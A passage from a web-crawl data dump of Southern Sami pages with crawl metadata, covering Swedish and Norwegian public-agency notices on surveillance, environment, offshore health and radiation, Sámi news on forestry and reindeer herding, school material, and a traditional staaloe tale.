gïetedibie.","id":"","dump":"CC-MAIN-2014-42","url":"http:\/\/www.lansstyrelsen.se\/vasternorrland\/SMA\/miljo-och-klimat\/verksamheter-med-miljopaverkan\/Pages\/default.aspx","date":"2014-10-24T23:10:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-42\/segments\/1414119646484.16\/warc\/CC-MAIN-20141024030046-00025-ip-10-16-133-185.ec2.internal.warc.gz","language":"sma","language_score":0.9999972582,"language_script":"Latn","minhash_cluster_size":40,"top_langs":"{\"sma_Latn_score\": 0.9999972581863403}","num_words":242,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.153,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kameravaaksjome\nLeeneståvroe maahta luhpiem vedtedh kameravååksjemasse. Naan aejkien ryöhkoe datne dam mijjese åvtelhbodti beavnah.\nNjoelkedassh kameravååksjemen bïjre gååvnesieh kameraövervakningslagen\/kameravååksjemelaakesne (2013:460).\nKameraövervakningslagen\/Kameravååksjemelaake\nKameravååksjeme mij lea gosse kamerah modtede sæjjan gusnie åålmege årroeh dellie tjuara luhpiem Leeneståvroste åadtjodh. Jis lea bovre, baanghke, påaste, tjöödtjestimmiegåetie jallh tunnelbaanestasjovne maam edtja vååksjedh dellie nuekies jis dam mijjese beavnah.\nIh luhpiem daarpesjh dahpeldh sijjide vååksjedh sïelten gåetesne, industrijeprocessh, tjïehtjelh gåetien sisnie jïh seammaleejns. Jis åålmege ij åadtjoeh desnie årrodh dellie ij luhpiem daarpesjh.\nLeeneståvroe vååksje dej njoelkedassi mietie vaaksjoeh gaskem jeatjebem dah sijjieh guessehte gusnie åålmege åådtje årrodh.\nDaatainspeksjovne\nDaatainspeksjovnen dan jarnges dïedtem vååksjemen åvteste kameravååksjemelaaken mietie. Dah edtjieh gaskem jeatjebem raeriem jïh dåarjoem åålmegasse vedtedh jïh aaj dejtie gïeh vååksjemedïrregh faelieh jïh nåhtadieh. Vielie bïevnesh gååvnesieh Datainspektionens\/Daatainspeksjovnen webbesijjesne.","id":"","dump":"CC-MAIN-2014-42","url":"http:\/\/www.lansstyrelsen.se\/vasternorrland\/SMA\/manniska-och-samhalle\/kameraovervakning\/Pages\/default.aspx","date":"2014-10-31T17:51:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-42\/segments\/1414637900032.4\/warc\/CC-MAIN-20141030025820-00198-ip-10-16-133-185.ec2.internal.warc.gz","language":"sma","language_score":0.9999871254,"language_script":"Latn","minhash_cluster_size":40,"top_langs":"{\"sma_Latn_score\": 0.9999871253967285}","num_words":122,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Du är här:\nDå de gäller kommuners skyldighet att erbjuda förskoleverksamhet och äldreomsorg på minoritetsspråk inom förvaltningsområdena bör sådana möjligheter särskilt observeras i allmän information som riktar still potentiella brukare.\nGåessie tjïeltij tjälloestimmieh aarhskuvlebarkoeh jïh voereshåksoeh faaledh unnebelåhkoej gïeline reeremedajvine, gelkieh naemhtemes nuepieh joekoen vuesiehtidh siejhme bïevnesjimmine sjïere åtnojde.\nTjïelten åejviereereme\nJohan Palm\nTeel. 063-14 37 03\nMaanah- jïh ööhpehtimmiereereme\nEva Lindwall\nTeel. 063-14 33 80\nPublicerat:","id":"","dump":"CC-MAIN-2015-14","url":"http:\/\/www.ostersund.se\/boleva\/samiskasomminoritetssprak\/omlagstiftningenlaakebuektiehtammanbijre\/informationbievnesh.4.a3261c5125534e633480001470.html","date":"2015-03-30T04:26:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-14\/segments\/1427131299054.80\/warc\/CC-MAIN-20150323172139-00102-ip-10-168-14-71.ec2.internal.warc.gz","language":"sma","language_score":0.9407909513,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"sma_Latn_score\": 0.9407909512519836, \"swe_Latn_score\": 0.05524531379342079}","num_words":61,"character_repetition_ratio":0.025,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.033,"flagged_words_ratio":0.0,"lang_id_score":0.947,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guktie lea byjresisnie\nGuvvie: Fredrik Broberg.\nGoerehtidh jïh kontinuerlilen vuartasjidh guktie lea byjresisnie lea vihkeles bielie lïeneståvroen byjresebarkojste. Resultath nuhtjebe gaskem jeatjabem barkoem byjreseulmide dåeriedidh mohte aaj orre byjresasse aajhtsedh.\nBielie mijjen barkoste lea vuartesjidh guktie lea byjresisnie jïh byjresevaaksjomem lïenesne iktedidh. Byjresevaaksjome lea daamhtetje systematijen goerehtimmieh mah vuesiehtieh guktie lea byjresisnie jïh mah aaj mijjese nuepiem vedtieh båetije aajhtsemh byjresisnie vuarjasjidh. Guhkiem vaaksjobe juktie daarpesjibie mïetemh guhkiem tïjjem jis galka jeajtahdehtemidie vuejnedh mejstie båetieh almetjen dïjpemistie jallah jis leah iemies variasjovne. Resultath dan mænngan nuhtjedh våaroemisnie lïenen aaptsah byjresebarkose.","id":"","dump":"CC-MAIN-2015-35","url":"http:\/\/www.lansstyrelsen.se\/jamtland\/SMA\/miljo-och-klimat\/tillstandet-i-miljon\/Pages\/default.aspx","date":"2015-09-02T16:56:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-35\/segments\/1440645281115.59\/warc\/CC-MAIN-20150827031441-00031-ip-10-171-96-226.ec2.internal.warc.gz","language":"sma","language_score":1.0000003576,"language_script":"Latn","minhash_cluster_size":41,"top_langs":"{\"sma_Latn_score\": 1.0000003576278687}","num_words":90,"character_repetition_ratio":0.107,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laanteburrie-jih beabpmoedepartemeente lea presse bïevnesem tjaaleme, guktie dah sijhtieh \"Statsskog \"edtja privatiseret jih jeatjahtehtedh daam åårganisasjovnem.\nSaemiedigkien barkoebielien krirrien dåehkie jeahta, eah leah aalkeme daejtie saemien reaktoeh Finnmarhkeste jih åarjese viehtiestidh jih jååhkesjidh. Daate vuesehte, ij Nøørjen reereme sïjhth, saemien reaktoeh bijre pryøjjadidh.\n- Lohkh aaj: Sørsamer mobiliserer for sine rettigheter\n– Jis edtjieh Staaten skåakem doekedh, dellie ij Nøørjen reereme, sijhth saemien reaktojde nænnoestidh. Ij leah daate naan barkoe jih reaktoeh evtiedidh. Daate aaj vuesehte guktie dihte borgelige reereme, saemieh vuestie dåemede jeahta Saemiedigkien AP åvtehke Larsen.\nTjoeveribie heerredh.\nTjoeveribie staatem heerredh jis edtjieh jienebh skåake dajvh doekedh, jeahta Larsen.\n– Ij leah Saemiedigkie åådtjeme daan aamhtesen bijre raarastalledh. Tjoeveribie heerredh jis ussjedieh Statsskogem privatiseret jeahta Vibeke Larsen.\n- Lohkh aaj: Ap-nei og Sp-ja til statlig skogsalg","id":"","dump":"CC-MAIN-2016-50","url":"https:\/\/www.nrk.no\/sapmi\/skaakem-doekedh-1.11985242","date":"2016-12-08T18:43:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-50\/segments\/1480698542648.35\/warc\/CC-MAIN-20161202170902-00015-ip-10-31-129-80.ec2.internal.warc.gz","language":"sma","language_score":0.9999936819,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999936819076538}","num_words":124,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Healsoe offshore\nRogalaanten Fylhkenålma aktem abpelaanten råållam aamhtesinie åtna mah leah healsoen jïh raajnesvoeten bïjre petroleumsdarjosne mearosne nöörjen kontinentaalesokkelisnie.\nVaaksjome healsojne jïh raajnesvoetine\nRogalaanten Fylhkenålma healsoem jïh raajnesvoetem vååksje gaajhkine tjåadtjoen jïh sertije installasjovnine petroleumsdarjosne mearosne. Vaaksjome gaskem jeatjah healsoedïenesjem feerhmie (kuratijve dïenesje jïh ryöjredimmievoete), jïh aaj beapmoegïetedimmie, sujhteme jïh jovkemestjaetsie. Datne vielie bïevnesh vaaksjomedarjomigujmie Rogalaanten Fylhkenålman nedtesæjrojne gaavnh.\nHealsoebæjhkoehtimmieh\nRogalaanten Fylhkenålma njoelkedasside healsoen bïjre reerie almetjidie petroleumsdarjosne mearosne, jïh maahta aaj dispensasjovnh vedtedh jis akte almetje ij krïevenasside illh. Rogalaanten Fylhkenålman nedtesæjrojne gaajhkh daerpies goerh offshorevihtienassese (helseerklæring for personer i petroleumsvirksomheten til havs), jïh akte læstoe jååhkesjamme dåakterigujmie ålkoelaantesne. Mijjieh læstoeh utnebe jååhkesjamme dåakterigujmie Offshore-starnijidie, jïh goerh mejtie gåarede våålese leessedh.","id":"","dump":"CC-MAIN-2017-04","url":"https:\/\/www.fylkesmannen.no\/sma\/Healsoe-jih-hokse\/Healsoe-offshore\/","date":"2017-01-22T16:19:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-04\/segments\/1484560281450.93\/warc\/CC-MAIN-20170116095121-00214-ip-10-171-10-70.ec2.internal.warc.gz","language":"sma","language_score":0.9999858141,"language_script":"Latn","minhash_cluster_size":51,"top_langs":"{\"sma_Latn_score\": 0.9999858140945435}","num_words":112,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.113,"stopwords_ratio":0.161,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaajhkh laehkesne gijhkehtsh. Sïejhme gijhkehts gujhth eatnamistie, biejjeste jïh elmeste båetieh. Almetjh aaj gijhkehtsem buektiehtamme: skïemtjehåksosne gihkehtsem nuhtjieh sjïere skiemtjelassh gaavnedh båehtjierdidh.\nKärnkraftevïerhken moerijste gijhkehtsh sjidtieh. Mobijleteelefovnijste, maadtoestasjovnijste, solarijste, faamoekabelijstie jïh sjïere dïrregijste gijhkehtsh- læstoem maahta guhkies darjodh.\nMiijieh barkebe gijhkehts- ståårege siebredahkem jaksedh sjïre vuekiej tjirrh stååregejearsoem stueriedidh jïh vaaregem gijhkehtsistie unniedidh.\nKärnefaamoeh\nKärnefaamoe akte dejstie ele-faamoe mijjen laantesne. Mijjieh barkoem vaaksjebe juktie dïhte gijhkehtsejearsoeslaakan jåhta krïepesji tjirrh jïh jearsoebarkoem goerehtallebe. Mijjieh vaaksjobe kärne-aamhtesh jïh kärnetekniske dïrregh miste gïetine båatieh. Mijjieh vaaksjobe barkijh jïh byjreske vaenieh gijhkehtsh åadtjoeh.\nHealsoe jïh skïemtjehåksoe\nSjïere hammoeh gijhkehtsistie nuhtjedh gosse passientide goerehtalledh jïh båehtjerdidh röntgenvuartasjimmine jïh cancerbåehtjerdimmine. Mijjieh njolkedassine barkebe guktie gijhkehtsigujmie håksosne barkedh iih vaaksjobe guktie dej mietie berkieh, passientide, barkide jïh sïebredahkem vaarjelidh.\nDotkeme jïh industrije jïh kommersielle dïrregh jïh barkoeh\nGijhkehtsh dotkine jïh industijesne nuhtjieh, vuesehte gaavhtan labratorijne jïh vïerhkebarkijne. Ulmiedïrregh radijo-aktijve aamhtesinie, dållelarme, solarijh, laseretjuvjtegh jïh larmbågh leah dagkeres dïrregh mestie gijhkehtsh båetieh. Naemhtemes dïrregidie raste- jïh vuesehtedaltese nænnoestibie. Mijjieh dovne krïepesjh dej almetjidie gieh dïedtem utnieh, barkoeh jearsoes sjædta strålijste.\nEatnamen strålh\nGaajhkh laehkesne eatnamisnie gijhkehths\/strålh. Mijjen barkoe lea saarnodh mij vaarege jih guktie barkedh unniedidh strålh eatnamistie båetieh. Vuesehtimmie dah strålh mesnie eatnamisnie leah biejjeste, radoneste jïh elmijste.\nRadijo- aktive sluekieh\nKärnkraftevïerhkijste jïh buelteme-aatijste radijo-aktive sluekieh sjïdtieh jïh guktie dej gujmie darjodh. Radijo-aktive sluekieh aaj jeatja industrijeste båetieh, håksoste jïh dotkijste.Dovne radijo-aktive sluekieh eatnamistie jïh dej sluekiej gujmie seammaligkie darjodh. Mijjieh jolle krïepesjh biejieh dej luvnie gieh dïedtem utnieh juktie sluekine jearsoesligkie darjodh. Mijjieh dovne barkeminie strålejearsoem öövtiedidh internajovnesne ektiebarkoen tjïrrh dovne EUsne jïh abpe veartanisnie.","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.stralsakerhetsmyndigheten.se\/Ovriga-sprak\/Reeremen-bijre\/Mijjen-dajvh\/","date":"2017-02-25T18:04:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171807.25\/warc\/CC-MAIN-20170219104611-00059-ip-10-171-10-108.ec2.internal.warc.gz","language":"sma","language_score":0.9999858141,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999858140945435}","num_words":259,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.116,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kapihtelen bïjre\nHijven argumentasjovne-tjiehpiesvoeth lea nuhteligs utnedh dovne skuvlesne, barkosne, siebriedahkesne jïh privaate jieliedisnie. Datne dejtie daarpesjh gosse digkedeminie, gosse edtjh lahtestimmieh tjaeledh jïh barkoe-ohtsemh tjaeledh, jallh jis edtjh aktem raeriestimmiem jallh aktem dorjesem akten åestiejasse åehpiedehtedh. Ij leah naan aelhkie geajnoeh hijven argumentasjovne-tjiehpiesvoetide.\nJis edtjh væjkele sjïdtedh, tjoerh haarjanidh. Lissine aaj nuhteligs ohtje daajroem utnedh teorijen bïjre guktie datne maahtah aajhtsedh guktie jeatjebh argumenteradieh. Daam daajroem åadtjoeh gosse daejnie kapihtelinie barkh.\nSisvege\nUlmie learoe-soejkesjistie\nNjaalmeldh govlesadteme\nLearohke edtja maehtedh\n- goltelidh jïh eerlegevoetem vuesiehtidh mubpiej argumentasjovnese, jïh sjyöhtehke jïh eensi argumenth digkiedimmine nuhtjedh\n- daajroem nuhtjedh retorihkeles appellehammoej bïjre åehpiedehteminie •\n- faageles daajroeh jïh dïejvesh nuhtjedh soptsestimmine tjaalegi jïh gïelen bïjre •\n- ovmessie råållah haalvedh soptsestimmine, digkiedimmine, dramatiseringinie jïh åehpiedehteminie\nTjaaleldh govlesadteme\nLearohke edtja maehtedh\n- ovmessie såarhts tjaalegh jïjtse tïjjeste, tjiehpies-lidteratuvrh jïh aamhtese-provsah lohkedh, jïh sisvegen, hammoen jïh åssjelen bïjre ussjedidh\n- argumentasjovnem tjïelkestidh mubpiej tjaaleginie, jïh jïjtse argumentereles tjaalegh tjaeledh\nGuktie kapihtele öörneme\nKapihtelen govhte faage-sæjroeh. Ih daarpesjh faage-sæjrojde öörnegen mietie lohkedh. Lissine laavenjassh faage-sæjrojde.\n- Veanhtoe, argumeente jïh premisse\n- Vuesiehtimmie-tjaalege: Nihtieh kreeke-pryövenassh!\n- Krïevenassh rïektese-argumentasjovne\n- Ussjedammesvoete jïh autoriteete\n- Gïeleviehkie-vierhtieh\n- Analyjse-goere\n- Laavenjassh\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- lytte til og vise åpenhet for andres argumentasjon og bruke relevante og saklige argumenter i diskusjoner\n- bruke kunnskap om retoriske appellformer i presentasjoner\n- mestre ulike roller i samtaler, diskusjoner, dramatiseringer og presentasjoner\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- gjøre rede for argumentasjonen i andres tekster og skrive egne argumenterende tekster","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/172880?fag=126960","date":"2017-03-30T04:41:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00608-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.999943614,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999436140060425}","num_words":254,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lïhkesadtjedåarjegem lea ahte datne mij aktem guhkies skïemtjes almetjem jallh lïhkesadtjem mij ov-vervesne lea, gåetesne håksa, reaktam dåarjegen jih målsomen mietie åtnah.\nUlmiem lïhkesadtjhdåarjeginie lea ahte lïhksesadtjide edtjieh viehkiem jih dåarjegem mij lea daerpies åadtjodh ihke dah edtjieh håajsodh hoksedh dïhte mij guhkies skïemtjes jallh voeres jallh mij ov-verviem åtna.\nDïhte lea vihkeles ahte datne mij akten lïhkesadtjem jallh lïhke almetjem håksa nuekie dåarjegem åadtjoeh. Tjïelte maahta målsomebarkoem faaledh mij syökoen ihke åadtjodh. Dåarjegem lea aajne sjïehtesjamme.\nGoh Sosialedïenesjelaake kap 5, § 10 lea edtja sosialemoenehtse \" dåarjegen jih målsomen tjïrrh aelhkieslaakan darjodh dejtie mah lïhkemesalmetjem huksieh, mah guhkies skïemtjes lea, jallh voeres jallh ov-vervesne lea\". Dåarjege lïhkesadtjide lea:\nAkten biejjien våhkosne, tsåahka 8.00-16.00, nuepiem gååvnese biejjiedarjose ihke målsomem dutnjien mij lïhkesadte lea. Darjoem åasehts lea, bene svarkeldahke jih aeredsbiejjiebeapmoeh tjuara maeksedh.\nDatne maahtah viehkiem daejnie åadtjodh\nKrokomen tjïelte säjhta ektiedimmien tjïrrh jih viermiebarkojne reeremi jih jïjtjesyjhtehtsåårganisasjovni gaskoeh, tjïeltesne metodah öövtiedidh jih hammoeh dåarjegasse jih numhtie jienebh guarkoeh lïhkesadtji tseahkan, jih aaj jielemekvaliteetem jolledidh daan dåahkan.\nKontakta oss\nHar du tekniska frågor eller vill kommentera informationen på sidan så kan du kontakta webbredaktionen. Klicka här!","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/krokom.se\/sma-SE\/omsorgochhjalp\/anhorigaochfrivilliga.3866.html","date":"2017-03-29T22:52:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191405.12\/warc\/CC-MAIN-20170322212951-00334-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999697208,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999697208404541}","num_words":180,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.133,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien sijjienommh båata saemiej jielemistie, vijremistie, gøølemistie jih båatsoejste.\nDaelie prosjeekte Saemien noerh aalka, mij lea akte ektiebarkoe gaskoe EU-e , Vàrjjat, Saemien museume, Saemien Sijte Nøørjesne jih Siida museumen Såevmesne, jih Àjjte museume Sveerjen bielesne.\nGosse fealadidh tjoeverh eensilaakan soejkesjidh. Daesnie naan bïevnesh: feelemeluhpi bijre, daalhkesh, skïebtjelassh, feeleme - tjirkeme jih beetneh- vierhtieh, voessen sisnie, bïevnesh, svaalhtesh mah hijven daejredh.\nFierhten jaepien saemien gaahtjemem daelvege jih giesege öörnieh. Dovne reegijovneles gaahtjemh öörnieh; tjengkerem tjiektjedidh, vuejeme-råantjoejgujmie gaahtjedh jih jeatjah darjomh.\nFrifoente maanah jih noerh lea dåarjoeøørnege maam Stoeredigkie lea tseegkeme juktie ealamadtjen mieriekrïebpesjh bueredidh demokratijen jih jïjtjesyjhtehts darjomi gaavhtan voengesne.\n{{sprakVariabler[\"GlemtPassordTekst\"]}}\nDu vil straks motta en e-post med kode. Trykk på lenken i e-posten for å gå videre i prosessen\n{{sprakVariabler[\"NullstillPassordTekst\"]}}\nDu vil snart motta en e-post med informasjon om aktivering av brukerkontoen din. Trykk på lenken i e-posten for å gå videre i prosessen\nKontoen din er nå aktivert, trykk på knappen under for å gå videre.\nAktiveringslenken du har trykket på er ikke lengre gyldig\nRedaktør: Geir Johnsen | Webansvarlig: Håvard Vognild | CMS\/Webdesign: ACOS","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.unginordland.no\/infonuorra\/aarjelsaemiengiele\/kultuvre-eejehtimmie\/","date":"2017-03-27T16:24:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189490.1\/warc\/CC-MAIN-20170322212949-00399-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9990617633,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9990617632865906}","num_words":173,"character_repetition_ratio":0.056,"word_repetition_ratio":0.024,"special_characters_ratio":0.173,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"«Gåessie noereh boelve aalka» daan jaepetje aamhtese Noerhte-Trøøndelaagen båatsoe tjåanghkosne mij lea daan våhkoen Stientjesne orreme. 60 luhkie båatsoesaemieh abpe Noerhte- Trøøndelaagen båatsoe dajveste tjåanghkenamme.\nNøørjen båatsoe Saemiej Rihkesaervien ( NBR) åvtehke Ellinor Jåma tuhtjie, staate nåake orreme jih båatsoe jielemem, noeride nænnoestidh.\n– Manne geerjene sjïdtem, gåessie vuajnam gaajhk dah garmeres noereh mah båatsoe fuelhkijste båetieh. Daate vuesehte magkeres barkoem dah eejhtegh darjoeh jih maanide jih noeride jielemasse nænnoestidh, Jåma jeahta.\nEah leah aelkie båatsosne jieledh.\nLæjhkan jis vaenieh beetnegh båatsosne jih jijnjh tjoeperh dååstehtallieh, gååvnese stoerre ïedtje, Jåma jeahta.\n- Lohkh aaj: Biegkefaamoe dajve\nBuerebe sjiehtedimmie boelveste boelvese\n– Manne akte dejstie læhkoladtje.\nJon Olov Jåma (30) Tjåehkeren sijteste, bovtsigujmie aalkeme, sov aehtjien båatsoe sijjiem åådtjeme. Dihte lea jov gellie jaepieh bovtsigujmie barkeme, eannan jijtjen sijjem åadtjoeji.\n– Vïenhtem buerebe aerebi lij, gåessie giehpebe åadtjodh beeteh-vierhtiem løønedh gåessie edtja bovtsh åestedh. Dellie buerebe sjïdteme, dïsse mij aaj bovtsigujmie orrije, Jåma jeahta.\nDah jaepine Jåma nuepiem åtneme sov jijtjen krievviem sjïdtedidh. Aavosne daan åvteste.\n– Nåakebe dejtie mah tjuerieh alkoevistie aelkedh. Tjoara buerebe sjïehtedimmie sjïdtedh, Jåma jeahta.\nGuktie daam buektiehtidh?\n– Hijven gyhtjelasse! Staate lea staate, dihte jijtjen veanhtoen mietie reerie, Jåma jeahta.","id":"","dump":"CC-MAIN-2017-13","url":"https:\/\/www.nrk.no\/sapmi\/noereh-boelve-saejhta-bovtsigujmie-aelkedh-1.12858827","date":"2017-03-29T09:39:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218190236.99\/warc\/CC-MAIN-20170322212950-00650-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999958277,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999958276748657}","num_words":185,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Akte staaloe mij dakterem utni\nDaate soptsese lea gærjeste \"Gåebrehki soptsesh\" maam Knut Bergsland tjaaleme. Gærja voestes aejkien trygkesovvi jaepien 1943 jïh mubpien aejkien jaepien 1987. Ella Holm Bull lea gærjam åarjel-saemien learoe-reaktoen mietie orresistie tjaaleme.\nAkte staaloe mij daktrem utni\nAkte staaloe mij aktem dakterem utni. Fearmas dïhte lij. Dellie vïjvem fihki, men idtji dïhte vïjve sïjhth staalojne tjåenghkesne årrodh. Dellie dïhte jåhtaji, dellie båarhte lin naan jaepiem.\nDellie staaloe healsehti galkin bååstide båetedh. Men idtji daktaråbpoe sïjhth bååstide juhtedh. Men dïhte vïjvebe lïjhke juhti. Såå (die) ohtje maanam utnin. Gosse fraamme dalvin, dellie Rovhtege olkese bööti dåastoehti, jïh dellie jeehti: \"Baajh manne dam maanam guadtam gåatan.\" Dam maanam gujht ååjmestin, jïh bissin jïh maatadin.\nJïh vïjvebe göökte stoerre råahkh heanti. Jïh göökte staajnh åadtjesti jïh viedti dan loedte-bealese. Jïh dellie låavtegem tseegki. Dellie bearkoeh göödti gåatan, seangkoe-vaarjoeh, seangkoem laetjin, jïh dellie göökte gisse galth tjoehpi beeji seangkoen sïjse. Juktie dïhte daktaråbpoe mïeli man tïjjen staaloe provhki tjuedtjielidh jïh olkese gadtjedidh.\nDellie jïjtjh lin dan låavtegen ålkoelisnie. Dellie staaloe dalvi låavtegen sïjse sov stoerre beejline jïh damtehte seangkoem. Dellie damti gåabpegh lin desnie åerieminie. Dellie tjoehpesti -. Dellie dakteren nidtjie-boenge jåelkedi.\nDellie nåanastehtin dejtie staajnide jïh vöölkin vuejien dam loedteraejkiem bååstide. Jïh dellie goh staaloe vueptiesti aereden, dellie galki vaedtsedh dan låavtegen sïjse jïh vuejnedh. Dellie haarme sjïdti juktie lij nearrahtamme. Jïh dellie vöölki minngielistie galki dåalvodh jïh jaksedh. Men idtji måjhtijh dejtie staajnide, vienhti barre dah råahketassh. Jis lij måjhtajamme dejtie staajnide, dellie badth lij jakseme. Men dåalvoeji goske dan krisna-pruvvien vuestie. Men idtji dellie vielie nahkesjh guhkiebasse dåalvodh.\nMen dellie healsehti ahte galkin båetedh sijjen krievviem raerhkedh, for idtji dam sïjhth. Men idtjin badth dahkoe vuelkieh. Men dellie staaloe jïjtje reerhki jïh vuejehti dan krisna-pruvvien vuestie. Dellie fihkin jïjtjh destie vaeltedh. 1","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/129307?fag=126960","date":"2017-03-30T04:42:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00038-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999961853,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999961853027344}","num_words":291,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ståvroe jih generaleåejvie\nKultuvreraerien lea ståvroe mij reerenasse beaja jih dïhte ståvroe abpe dïedtem åtna darjomasse. Kennet Johansson lea byjjesfaamoen åejvie jih dïedtem åtna disse fierhten beäjjetje barkose. Medtie 75 almetjh kanslijesne berkieh dennie Filmhuset:sne mij Gärdesne Stuehkesne.\nKultuvrepolitihken vuepsieh\nVåarome daan bäjjan kultuvrepolitihkese leah dah kultuvrepolitihkeles vuepsieh mej bïjre Sveerjen rïjhkebiejjie nännoestamme. Kultuvre edtja akten nännoes, eadtjohke jih ov-vïedteldh faamojne årrodh man våarome lea dïhte reakta mijjen mielem vuesiehtidh. Gaajhkh edtjieh nuepiem utnedh kultuvrejielemisnie meatan årrodh. Skraejrie, gellienvoete jih tjeahpoevoeti maahtoeh edtjieh siebredahken evtiedimmesne vååjnodh.\nBeetnegh kultuvrese abpe laantese\nVihkeles biehkie Kultuvreraerien barkoste lea dåarjegh joekedidh. Jaepien 2011 dle Kultuvreraerie medtie 1,8 miljardh kråvnoeh joekedi. Kultuvreraerie dåarjegh vadta instutisjovnide, åårganisasjovnide jih frijjes dåehkide. Guktie dåarjegi bïjre nännoestidh dle viehkiem vaalta barkoe- jih reeferensedåehkijste. Ektesne 120 tjaelijh, tjiehpiedäjjah, musigkijh, lohkehtäjjah, dotkijh j.j dejtie syökemh gïehtjedieh. Kultuvreraerie dïedtem åtna medtie 40 ovmessie dåarjegi gaavhtan jih dejtie vadta dovne aajne gärjanommide, noereprosjektide museuminie jih daanhtsoekrirriej guessievuasahtallemidie ålkoelaantesne. Jaepien 2011 dle kultuvre-ektievoetemaallem daajrohte, akte orre maalle guktie staatedåarjegh joekedidh regionaale kultuvredarjomidie. Kultuvre-ektievoetemaallen ulmie lea viehkiehtidh juktie dah nasjovnelle kultuvrepolitihkeles vuepside jaksedh jih aaj nuepiem vedtedh maahta joekehts darjodh jih priojiteredh regionaale dajvine.\nDåarjegh nasjovnelle unnebelåhkoej gïelide jih kultuvride\nKultuvreraerie darjomedåarjegh jih prosjektedåarjegh vadta guktie dah nasjovnelle unnebelåhkoej gïelide jih kultuvride evtiedidh. Dah vïjhte nasjovnelle unnebelåhkoeh Sveerjesne leah judarh, romerh, saemieh, sveerjensåevmieh jih tornedaelingh. Unnebelåhkoegïelh leah såevmien gïele, jiddishe, meänkieli, romani chibe jih saemien 